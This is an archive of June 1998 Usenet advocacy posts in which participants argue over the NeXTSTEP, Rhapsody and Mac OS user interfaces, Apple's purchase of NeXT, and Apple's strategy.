> didn't grow to like it for several months. And I didn't like it for
> several months in part, because of being used to another system that I was
> still using as my *primary* system. I could never give NeXTSTEP a fair
> chance till I lost the 2fx, because my lazy nature kept bringing me back to
> my other system even when I could dink around with NeXTSTEP. Not till I
> was forced to use it as my primary system for a while did I *get it.*
I've never used any one system as my *primary* system, not since I had
my first Atari 800. Yet I've switched many times. Your special
circumstance that says you must be deprived of other options to accept
NEXTSTEP sounds shaky, indeed. In fact, it sounds stupid. If the system
has merits, let them be self-evident. Otherwise, your whole case is
built on bias.
> Now that doesn't mean everyone that will give it a try as their primary
> system, that's forced to use it, will learn to appreciate it. Different
> strokes and all that. I'm just saying it's tough to be really objective
> when you're using another system you are more used to as your primary
> setup.
I'll leave that for others to judge for themselves. I know what I think.
It doesn't bother me if you think differently.
MJP
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 16:35:39 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3594142B.EA1AB415@nstar.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <6mucfv$abh$1@news.spacelab.net> <6n13tj$efl$1@hole.sdsu.edu>
Mime-Version: 1.0
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NNTP-Posting-Date: 26 Jun 1998 21:40:44 GMT
tomlinson wrote:
>
> Charles W. Swiger (chuck@codefab.com) wrote:
>
> : Rhapsody's GUI is not similiar to NEXTSTEP's GUI.
>
> In that case I'd like to apologize, as publicly and fulsomely
> as possible, for making that false assumption. I had assumed,
> naturally I thought, that the Rhapsody DR1 which I was sent,
> and used for a time, had changed little in interface from NeXT
> aside from the Macintosh-style window frames and title bars.
> It looks as though this assumption turned out to be wrong.
It's not. Chuck, tell us what changed from NEXTSTEP to Rhapsody DR1.
John's "pinstrip" menu bar, Apple's icons inserted, no dock, Apple's
scrollbar graphics. Did I miss anything?
Er, actually *not* Apple's scrollbar graphics; more of a gussied-up
NEXT-style scrollbar, complete with 3D bevel.
MJP
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Confused about Apple
Date: Fri, 26 Jun 1998 15:05:52 -0700
Organization: Great till Apple got rid of the newton
Message-ID: <macghod-2606981505530001@sdn-ar-001casbarp301.dialsprint.net>
I am quite confused about something.... As far as I can tell, Apple has
now more or less explicitly stated "we are fully concentrating on the
macos consumer market", and basically NOT focusing on the non consumer
market at this time. I believe one can infer this from what they have
said, they have left room to further focus on the non consumer market
after macos x comes out, but untill then they are focusing on the
consumer.
What the f is up with this? They bought the best enterprise os in the
world, and instead they focus wholely on the consumer??!??!
Macos x is good, but why not also at the same time also focus on the
enterprise market, besides focusing on macos x also have a "macos
enterprise".
--
So many pedestrians, so little time.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998062622363200.SAA17108@ladder03.news.aol.com>
Date: 26 Jun 1998 22:36:32 GMT
Organization: AOL http://www.aol.com
References: <3594142B.EA1AB415@nstar.net>
Well, one thing that changed between OSI and RDR were the color pickers--as I
recall, one comment at the time (regarding the UI as a whole) was the it was
depressing that Apple had taken two different UIs and in blending them together
had managed to create something less functional than either of its
predecessors.
I don't have access to the RDR, though, so can't do much more than state what I
do like about the NeXT UI. Rhapsody's a work in progress, and one can only hope
for better.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net>
Subject: Re: Mac OS X UI
Message-ID: <tLVk1.3$Oe1.54453@proxye1.san.rr.com>
Date: Fri, 26 Jun 1998 23:01:45 GMT
NNTP-Posting-Date: Fri, 26 Jun 1998 16:01:45 PDT
Organization: TWC Road Runner, San Diego, CA
Michael Peck wrote in message <35941317.FC21AD89@nstar.net>...
>John Kheit wrote:
>
>> > Eh? You don't accept my month's work. That would be funny if it
>> > weren't so boorish.
>>
>> And that line would be clever it weren't so repetitive, droll, and empty
in
>> its rhetoric.
>
>Draw your own conclusions. It meant something.
I agree with John here.
>> Poit? That's a phantom of your creation that missess what I said. I did
>> *not* like NeXTSTEP when I first started using it. As I said above. And
I
>> didn't grow to like it for several months. And I didn't like it for
>> several months in part, because of being used to another system that I
was
>> still using as my *primary* system. I could never give NeXTSTEP a fair
>> chance till I lost the 2fx, because my lazy nature kept bringing me back
to
>> my other system even when I could dink around with NeXTSTEP. Not till I
>> was forced to use it as my primary system for a while did I *get it.*
>
>I've never used any one system as my *primary* system, not since I had
>my first Atari 800. Yet I've switched many times. Your special
>circumstance that says you must be deprived of other options to accept
>NEXTSTEP sounds shaky, indeed. In fact, it sounds stupid. If the system
>has merits, let them be self-evident. Otherwise, your whole case is
>built on bias.
BAH! You've switched but between what? I'd not be surprised if, when it
comes to GUI's, it's systems which fall very close to Apple's Desktop
Interface way of working.
Guess what? NEXTSTEP has a different paradigm. OS/2 2.0 and later has a
different paradigm as well.
A months work is not enough to appreciate the paradigm--the unique benefits
and faults to each of these designs. When reading John's post I thought of
my own experience when I first faced IBM's WorkPlace Shell in OS/2 2.0.
It annoyed me. A lot.
I was most used to Windows 3.x (and earlier) and the Mac which were,
unsurpisingly, reasonably similar. OS/2 was another beast entirely. It
looked like a Mac without a menubar but it's work they way I tried to make
it work. It wasn't until I happened upon a demo of it that I "got" the
problem: I didn't get the paradigm. When I opened my mind to a different
way of working I realized the genius of the design.
From everything you've written here I can draw no conclusion but this: you
didn't give NEXTSTEP a fair chance on its own terms--you stuck to you
preconceived biases.
Such is the difficulty Apple has trying new things in their UI with large
existing user bases of consumers, etc. They're set in their ways and it's
often difficult to evangelise why a change is a good thing. It's not too
hard if it's an evolutionary change but when it's a paradigm shift, it's
like asking someone to butter their bread with a fork when they've always
been doing it with a knife. The fork might be superior but you're likely
going to get odd looks and few who take you seriously enough to give it a
fair shake.
--Ed.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Confused about Apple
Date: Fri, 26 Jun 1998 16:04:47 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-2606981604470001@dante.eng.uci.edu>
References: <macghod-2606981505530001@sdn-ar-001casbarp301.dialsprint.net>
In article <macghod-2606981505530001@sdn-ar-001casbarp301.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>What the f is up with this? They bought the best enterprise os in the
>world, and instead they focus wholely on the consumer??!??!
Because there is a difference between what a product is, and what
consumers will buy. The MacOS is what people will buy right now. Some of
us want the enterprise stuff as well, but it's not all together enough
right now to be thrust out into comparisons with either NT or Solaris. So
they will sell MacOS now and develop the enterprise stuff in the mean
time, but not make a big deal about it. At some point, 'milking the MacOS
for all it is worth' will have gone about as far as it can, the enterprise
components will be much better, and the focus will start to shift.
IMO.
-Bob Cassidy
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS remote display
Date: Fri, 26 Jun 1998 17:27:14 +1000
Organization: OzEmail Ltd.
Message-ID: <6mvie0$oqo$1@reader1.reader.news.ozemail.net>
References: <6mqs8j$7a6$1@nnrp1.dejanews.com> <6mrgbk$tnb6@onews.collins.rockwell.com>
Erik M. Buck wrote:
>Remote display with some new graphics API is not impossible. Unfortunatly,
>if it is not well defined from the start, it will become impractical.
I agree in concept there. But how is NT doing it with Citrix/Terminal Server etc?
I've been told it works well (with a substantial cost)... and I'm sure most
apps weren't written to expect it...
Greg
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Fri, 26 Jun 1998 15:21:34 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2606981521340001@news>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com <6mdae7$2d1$1@news.cs.tu-berlin.de> <358A75A3.CF50528A@nstar.net> <6meenl$99n$1@nnrp1.dejanews.com> <358AD3C8.E874B7E3@nstar.net> <andyba-ya02408000R2406981554350001@news> <3591904F.CD8B3427@nstar.net>
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In article <3591904F.CD8B3427@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Andy Bates wrote:
>
> > > That's an assumption I cannot and will not grant. It's hard to believe
> > > that you expect me to accept this.
> >
> > They tried to do it with Copland, and it failed so miserably that it was
> > cancelled completely without any replacement in sight. That's a pretty
> > strong indication that Apple was not anywhere near development of a new,
> > modern OS.
>
> False. A DR was pressed onto CDs and was prepared to ship to developers
> when Copland was canned.
Nevertheless, the fact that it was canned showed that Apple was unable to
make a modern OS by themselves.
> At the most obvious, BeOS fulfilled the
> properties above. Multiple other options, including a Solaris-based
> operating system, were available. The premise above, as I stated above,
> is totally false.
And you have no way of knowing whether any of those solutions would have
enabled Apple to create a modern OS with the capabilities of the current
Mac OS. Even Be didn't even have printer support! Take the NeXT
technologies out of Rhapsody and X, and you don't have a modern OS. That's
a fact.
> > In any case, you can't argue that Apple WAS able to base Rhapsody (and
> > MacOS X) on OpenStep, and develop it a lot faster than if they had to come
> > up with an OS from scratch.
>
> Nobody said anything about coming up with an OS from scratch. At any
> rate, NeXT was purchased in December of 1996. MacOS X will ship in late
> 1999.
And Rhapsody will ship in late 1998. Less than two years of development for
a modern OS with limited compatibility for legacy programs; looks pretty
good to me.
> Almost three years of development? I think there were other
> options.
Add on one year of development to provide modern OS services to (modified)
legacy apps. Not too bad, if you ask me.
> At the Apple seminars I attended, the answer unfailingly given
> for the NeXT purchase was that it enabled Apple to ship a new OS in the
> beginning of 1998. Didn't happen.
Apple shipped a developer release in the fall of 1997 that was more stable
and full-featured (and had better backward compatibility) than Copland DR1
did in mid-1996. One and a half years isn't very long for that kind of
improvement.
> > > > Now, what was your question again about the point to the NeXT
acquisition?
> > >
> > > Obviously, it was directed to someone more thoughtful.
> >
> > Obviously you didn't care for an answer to your question, since you're
> > going to ignore any responses that don't mesh with your preconceived
> > notions anyway.
>
> Preconceived notions? Which would those be? The notion that the NeXT
> purchase was a mistake? I don't think it's possible for you to back this
> up. I'm not the only one with such "preconceived notions".
I never said you were; I just said that your preconceived notions blind you
to any assertions that contradict them.
> Show me wrong, Andy. Can you demonstrate contrary evidence for my
> claims, or just throw sand in my eyes?
What claims? That Apple could have possibly built a modern OS out something
other than NeXT? I will concede that it is possible. But you have to
concede that with NeXT technologies, Rhapsody would not exist, and would
probably not have been completed as quickly or as easily. For what Apple
needed, OpenStep was the most mature OS available.
Andy Bates.
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.next.advocacy
Subject: Re: DPS remote display
Date: Fri, 26 Jun 1998 08:15:46 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Ev5GAA.92n@AWT.NL>
References: <6mqs8j$7a6$1@nnrp1.dejanews.com> <Ev270v.1yw@haddock.cd.chalmers.se> <Ev3tpn.4Lv@AWT.NL> <3592D021.3D42C907@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
>Gerben Wierda wrote:
>
>> Too bad they did not keep to the until-then normal way of describing
things.
>> The client connects to a server.
>
>That's exactly the way X does it. The client connects to an X display
>server. The X server does display; that's its service.
Yes, if you're computer-centered as the techies at MIT (or CMU or wherever X
originated) are this is true. That is why they called it such. And
technically speaking, it is a logical choice.
But when you are human-centered, the client is the human and the server is
somewhere in a room in the cellar of the office building. The human is not
'serving' the computer program that runs on the system in the cellar (though
it is often experienced that way if software has a bad design), but the
program on the computer in the cellar is supposed to be serving the client in
his office. That is why those systems are called servers. As I said (which
you did not quote), X says: The client (human) is using a server to connect
to a client (program) on the server ;-)
It is silly to argue about it, but the fact that X's choice is techno-logical
doesn't make it necessarily right, as it is counterintuitive.
--G
From: leigh@NOSPAMcs.uwa.edu.au (Leigh Smith)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Rhapsody DriverKit?
Date: 26 Jun 1998 07:37:21 GMT
Organization: The University of Western Australia
Distribution: world
Message-ID: <6mvj3h$ofk$1@enyo.uwa.edu.au>
References: <7iCszC6Jo1$V@cc.usu.edu>
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Cc: root@127.0.0.1
In <7iCszC6Jo1$V@cc.usu.edu> root@127.0.0.1 wrote:
> Does anyone know if Rhapsody/Intel will be released with
> a DriverKit? Since it is clear there will be no future
> releases of Rhapsody/Intel post 1.0, one might assume there
> will be little incentive for Apple to spend time writing drivers
> for a large variety of hardware. At least with a DriverKit we
> would be able to write our own.
>
> So what is it folks? DriverKit or no?
Remember the DriverKit arose because NeXT needed a means to handle Intel
hardware. The DriverKit docs for Rhapsody are the same as the DriverKit docs
for 3.3 and the *.config files on Rhapsody are the same as 3.3 (except with a
recompile for BSD4.4) so it is fair bet RDR2/Intel will have the development
kit.
My reading of the situation is that Apple are not announcing a Mac OS X port
for Intel but are keeping all the development they already have on Rhapsody
up to date (at relatively little cost). This allows them to commit an Intel
version at the drop of a hat and it acts as a potential threat to NT -
especially with new architectures expected.
--
Leigh Computer Music Lab, Computer Science Dept,
Smith University of Western Australia
+61-8-9380-2279 leigh@cs.uwa.edu.au (NeXTMail/MIME)
C++ is to C, as Lung Cancer is to Lung - John C. Randolph
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
References: <1db554b.esf57p14fyhc2N@rhrz-isdn3-p7.rhrz.uni-bonn.de> <1998062420335100.QAA22169@ladder03.news.aol.com> <forrestDELETE-THIS!-2406981804360001@term3-9.vta.west.net>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <359203c1.0@nnrp1.news.uk.psi.net>
Date: 25 Jun 98 08:01:05 GMT
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
>In article <1998062420335100.QAA22169@ladder03.news.aol.com>,
>willadams@aol.com (WillAdams) wrote:
>
>> Dragging and dropping between apps on the NeXT, "just works"
>
>So does MacOS.
Yes - I think that on NeXTstep one just gets the impression that it
works better because it works more ... Most NeXTstep apps use drag and
drop VERY extensively, probably because the AppKit makes it so easy
for the developers to use it.
>> and the interface
>> encourages one to have multiple windows open
>
>So does MacOS.
I don't think that NeXTstep does encourage multiple windows
particularly - that's one of it's advantages - it doesn't tend to
produce quite as much clutter as MacOS. The use of panels in NeXTstep
can lead to much cleaner, easier to use (ie user friendly) interfaces.
Compare the NeXTstep preferences application with the Rhapsody one
(which has been make MacOS-like) for an example of this.
>> and to run lots and lots of
>> applications
>
>Ok, CMT doesn't really help here, but that's not an interface issue.
The only way the NeXTstep GUI wins here is by providing a 'hide' menu
option at the top level, so it's easier for a newbie user to run
multiple apps without the scrren getting too confused.
>> because it's easy to identify what's running (icon on screen) with
>> what's not (icon not on screen, or icon has ellipsis).
>
>Similar on MacOS (icon's in the menu bar).
Not even close - the NeXT icons are much larger and clearer and easy
to find. Plus - when wanting to work with a hidden app, you just move
the mouse to its icon (which is large, and stays in one place - so
it's easy to find) and double-click - in MacOS you have to move the
mouse over to the right of the screen, pull up the aplications menu
and find the application you want (which has a small icon, which may
well have moved in the menu if you have started a new app or closed
one down since you last used it) and select it.
The process on the MacOS always takes me at least twice as long as
on NeXTstep - OK, it seems trivial, but it makes a great difference
to the feel of the system.
Overall I agree - the latest version of MacOS now does pretty much
everything that NeXTstep does - but the NeXT UI is definately
better suited to running multiple applications - and the
object-oriented toolkits mean that NeXT applications
definately tend to be more consistent.
From: Norbert Gruen <0223761903-0001@t-online.de>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: ISP's run NT? Hogwash!
Date: Sat, 27 Jun 1998 01:33:25 +0200
Organization: Bruch+Dalles
Message-ID: <35942FC5.2A686B9F@t-online.de>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com> <petrichEuyx44.Lx8@netcom.com> <rmcassid-2306980033330001@dialin9231.slip.uci.edu> <35b01a7f.29824100@news.supernews.com> <rmcassid-2306981751480001@dante.eng.uci.edu> <6mpkdi$6on$1@supernews.com> <rmcassid-2406980928560001@dante.eng.uci.edu> <35910F01.74B80E9E@geocities.com> <rmcassid-2406981321500001@dante.eng.uci.edu>
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Robert Cassidy wrote:
> ...
> Surely there is _some_ 'I can't believe we went to NT' taking place. But
> MS has a solution to that as well - push tools on the desktop that require
> server components that _only_ run on NT. That's what FrontPage does, and
> don't be surprised to see Office/BackOffice pushing further in the same
> direction. With time, MS will make sure that NT isn't viewed as a choice
> to unix - it'll be the _only_ way to get things done.
>
> The client will dictate the abilities of the server, not the otherway around.
>
> ...
Dear Bob!
You got the point!
Billy redefines the alphabet to lock everybody in. It hath worked with
sneakernet, that pushed Word, and later, Excel, turning M$IE now into
the Window to the World (pun intended).
Kind regards
--
Norbert Gruen (umlaut u, ü)
Do Bill Gate$ a favour, support alternatives to Micro$oft!!!
"reply-to"-> Text, "from"->MIME
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 17:40:02 +1000
Organization: OzEmail Ltd.
Message-ID: <6mvj5v$i6b$1@reader1.reader.news.ozemail.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <35910C8B.C7B0D328@bcomp.com>
Alan Frabutt wrote in message <35910C8B.C7B0D328@bcomp.com>...
>Steve Kellener wrote:
>> Let's all hope that someone out there writes a NeXTSTEP "theme" and
>> bring back some of the "style and slickness" to the UI.
>It isn't the look-n-feel, it's the underlying functionality (although I
>prefer the old NeXTy look by far).
> <snip>The architectures just don't map 1:1.
Wait.... isn't the functionality == the feel?
And the look is ofcourse the icons, windows, etc.
I thought the idea of themes was that they would change the look
of the MacOS, but ALSO change the feel so that operations worked
in different ways.
YB programs expect different GUIs, so that's easier. Mac programs
don't... which is why Apple's finding work on themes in Allegro
difficult (and why some applications won't accept the themes).
My guess is that when theme support is complete it will be
able to be _really_ different. For the moment, themes will
be a gimmick that only changes the look, and doesn't work for all
applications. Developers will be encouraged to support themes.
When all apps support themes, then the BlueBox will be able
to go seemlessly into MacOS X...
And you'll get functionality differences close to that time...
Just my 2c.
Greg
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 26 Jun 1998 23:31:49 GMT
Organization: San Diego State University
Message-ID: <6n1b15$eom$1@hole.sdsu.edu>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com>
Ed Deans. (eadeans@san.rr.com) wrote:
: Such is the difficulty Apple has trying new things in their UI with large
: existing user bases of consumers, etc. They're set in their ways and it's
: often difficult to evangelise why a change is a good thing. It's not too
: hard if it's an evolutionary change but when it's a paradigm shift...
Oh, for the sake of all the gods living or dead, stop throwing about
"paradigm" as though it were some magic hallmark of quality and
progress. It isn't. While I'm on the subject, Kuhn deserves
much demerit for introducing a concept so suspect, and susceptible
to abuse: in my view "paradigm shifts", in Kuhn's sense of a
catastrophic change from one scientific model to another, are hardly
ever observed; the shift away from the Newtonian model is practically
the only outstanding example. In any case, even _if_ Kuhn was right,
I'm fairly he sure that he was attempting to explain the development
of scientific thought, and not the addition of gadgets to user
interfaces.
The original Macintosh GUI was, at bottom, supported by a
formidable body of research and a testing process which weeded
out anything conducive to inefficiency. If other interfaces
happen to resemble Apple's, there's a good reason for that.
But there's a certain sort of person who isn't satisfied with
what works; he's got to _change_ things, because...change is good!
_Ipso facto_. After all, we don't want things to look _dated_,
now do we? Hence the battery of jargon, talk of "paradigm
shifts" and "revolutionary design" and "genius" and all the
other ludicrously hyperbolic phrases you've been bandying about.
Oh, and if a month isn't enough, what is? Two months? Six?
A year? How many hours of inefficiency and struggling with
needless change will a "paradigm shift" buy me?
-tomlinson
--
Ernest S. Tomlinson
Vis apud te erit...aeterne.
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 26 Jun 1998 18:54:10 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359434A2.8C1C371@nstar.net>
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <6mobfr$odg$1@hole.sdsu.edu> <3591FF45.40D0@earthlink.net> <6mua07$7ps$1@hole.sdsu.edu> <359355C7.35E4@earthlink.net> <3593D6F3.871ED245@nstar.net> <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <tLVk1.3$Oe1.54453@proxye1.san.rr.com>
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NNTP-Posting-Date: 26 Jun 1998 23:59:14 GMT
Ed Deans. wrote:
> BAH! You've switched but between what? I'd not be surprised if, when it
> comes to GUI's, it's systems which fall very close to Apple's Desktop
> Interface way of working.
What, you want a litany? MacOS, Windows of all flavors, and The X Window
System. I've worked with desktop-centric UIs, window-centric UIs,
command-line interfaces, and even your precious OS/2. I've used Newtons,
Windows CE, and PSION devices. I was an OS/2 believer, once, believe it
or not.
> Guess what? NEXTSTEP has a different paradigm. OS/2 2.0 and later has a
> different paradigm as well.
What's the "different paradigm"? I don't understand what you mean by
this. Take a moment and explain exactly what you mean by a paradigm
shift from MacOS to NEXTSTEP, except for the loss of a desktop.
[cut]
> I was most used to Windows 3.x (and earlier) and the Mac which were,
> unsurpisingly, reasonably similar. OS/2 was another beast entirely. It
> looked like a Mac without a menubar but it's work they way I tried to make
> it work. It wasn't until I happened upon a demo of it that I "got" the
> problem: I didn't get the paradigm. When I opened my mind to a different
> way of working I realized the genius of the design.
Yeah, I saw a similar demo; it was on a Mac SE, and it explained how to
use "point-and-click". That was a paradigm shift, of sorts. I don't have
the slightest idea on what you base your "paradigm shift".
> From everything you've written here I can draw no conclusion but this: you
> didn't give NEXTSTEP a fair chance on its own terms--you stuck to you
> preconceived biases.
Which is the last intellectual refuge of the shunned.
> Such is the difficulty Apple has trying new things in their UI with large
> existing user bases of consumers, etc. They're set in their ways and it's
> often difficult to evangelise why a change is a good thing.
Yeah, and Mac users are an ironic bunch because they were once
revolutionaries but they now won't accept what is obviously the next
great revolution. What an elitist load of trash. You remind me of the
last salesman I saw at FedEx; he told us we were stupid because we
didn't want his product.
MJP
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy
References: <Beri1.3521$r5.1600425@proxye1.san.rr.com> <358EEC0C.248A@earthlink.net> <1998062315272600.LAA03159@ladder03.news.aol.com> <1db554b.esf57p14fyhc2N@rhrz-isdn3-p7.rhrz.uni-bonn.de> <1998062420335100.QAA22169@ladder03.news.aol.com> <forrestDELETE-THIS!-2406981804360001@term3-9.vta.west.net> <1998062502445100.WAA11995@ladder03.news.aol.com> <rmcassid-2506980930100001@dante.eng.uci.edu> <1db8cbi.61ws6gk20q2cN@quern.demon.co.uk>
Subject: Re: Mac OS X UI
Message-ID: <RHWk1.8$Oe1.88916@proxye1.san.rr.com>
Date: Sat, 27 Jun 1998 00:06:09 GMT
NNTP-Posting-Date: Fri, 26 Jun 1998 17:06:09 PDT
Organization: TWC Road Runner, San Diego, CA
Jonathan Sanderson wrote in message
<1db8cbi.61ws6gk20q2cN@quern.demon.co.uk>...
>Robert Cassidy <rmcassid@uci.edu> wrote:
>
>> You eject a floppy by selecting 'Put Away' from the File menu (yes, I
>> know, an inconsistency in the naming) or by cmd-clicking on the floppy
and
>> selecting either Eject or Put Away.
>
>You can also choose 'Eject' from the Special menu, which is consistent.
>When introducing newcomers to the MacOS, this is how I tell them to do
>it, and it seems to go in just fine.
FWIW, the use of the term "Put Away" dates back to the Lisa days.
>for ten years. I'm willing to believe that NeXT's UI *is* better, but
>unless I'm very much mistaken it's still application-centric, which IMHO
>is not the way forward.
I tend to agree. Application-centric is the old way. Something else is
that the UI's tend to be very "dumb" not providing a lot of information
about the current status in the system. One example recently mentioned on
Apple's HI list is that the Mac doesn't indicate when a floppy is locked
until you try to copy something to it (why can't Apple ask if you'd like to
eject the disk to unlock it before continuing the intended operation?) or
when you do a Get Info on it. How helpful is that? IMHO, it's not.
>OpenDoc had all sorts of horrible problems, but when it worked it was
>glorious. Newton is also data-centric to some extent, and works very
>well for specific tasks.
Just because implementations failed doesn't make the ideas behind them, nor
what they really presented bad. Lisa failed but Apple didn't abandon it's
GUI work. Why is it that OpenDoc (btw, at the Apple Road Show they're
saying YellowBox is equivalent to OpenDoc only more mature) has been
completely abandoned. On the HI mailing list Apple told us not to quote
OpenDoc UI guidelines about the Undo/Redo issue because OpenDoc was abandon.
To me, that's absurd and non-productive.
So to is it absurd and unproductive to abandon ideas in the Pink/Taligent
work. Good grief, it's mid-1998 and you still cannot have just ONE address
book (whatever one you like and 'bless' as your default) to share amongst
all applications over on Windows. Ridiculous! It's especially bad as MAPI
and the inclusion of Exchange client in Win9x was supposed to fix all that.
Are we really any better off now than say in '91 with System 7's debut?
Will we be better off with MacOS X than then? Than today? With
Pink/Taligent/OpenDoc we were moving forward. There's that opportunity for
Apple to still do it with MacOS X/Rhapsody but I don't get the impression
they are. Instead I'm seeing Windows copycat additions. Appearance Themes
in 8.5 are analogues to MS Plus! Themes--appearances are what used to be
'themes' in the Copland nomenclature. From the looks of the 8.5 pre-release
screenshots around it looks like an alias will now have an ugly MS-alike
'arrow' just like their shortcuts. I wonder what other MS-features Apple
will adopt as compromises with out reaching the same level or improving on
the MS design.
>So please, let's not get hung up on 'my UI is better than yours' - if
>you ask me, they're all flawed!
Amen!
--Ed.
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Fri, 26 Jun 1998 21:09:16 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-2606982109170001@jchristie.halifaxcable.dal.ca>
References: <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <6mqfm1$7c5$3@ns3.vrx.net> <6mr6lg$k2b$3@hecate.umd.edu>
In article <6mr6lg$k2b$3@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Maury Markowitz (maury@remove_this.istar.ca) wrote:
> : In <see-below-2406980012370001@dynamic40.pm07.mv.best.com> Matthew Vaughan
> : claimed:
> : > > Not true. There is a DAV port.
> : >
> : > What the heck is this? How will it support 3D cards?
>
> : No one knows - yet.
>
> Does DAV stand for Digital Audio/Video? Maybe Apple is planning something
> interesting.
It does not have a DAV port. There was one mock up floating around
(that did not work) that had a DAV port. However, other models do not
have one. In addition, this would be silly for Apple to include since
they have publicly committed to AGP (probably the closest thing to DAV).
There are also mock ups with VGA ports.
All we can say is likely in the thing is what Apple has told us and
what has been common across all of the mockups. The processor will be
upgradeable and it is conceivable some type of expansion could be added.
But, there is no way to tell what that would be given the current mock
ups.
Finally, it is fascinating that all of this hoopla has been spawned
from someone's desire for RagePro instead of Rage II. It has Rage II
planned currently. That is clearly a bad move. Since Rage Pro can play
with Voodoo if it has a G3 to haul its sorry ass around it is sad Apple
doesn't include it. It would cut into margins only slightly. And, most
Mac **casual** gamers would have a hard time telling the difference
between it and Voodoo II (in the near term) in 3D and it has so many other
features (MPEG capabilities needed for DVD for one).
Yet, we end up in battles over the deficiencies of Rage Pro when the
machine isn't even going to have it!
And, you get PC fans complaining the drivers will be bad because they
are on a PC. Even though the way Mac drivers are constructed is
completely different and they have been around (trouble free) for years.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
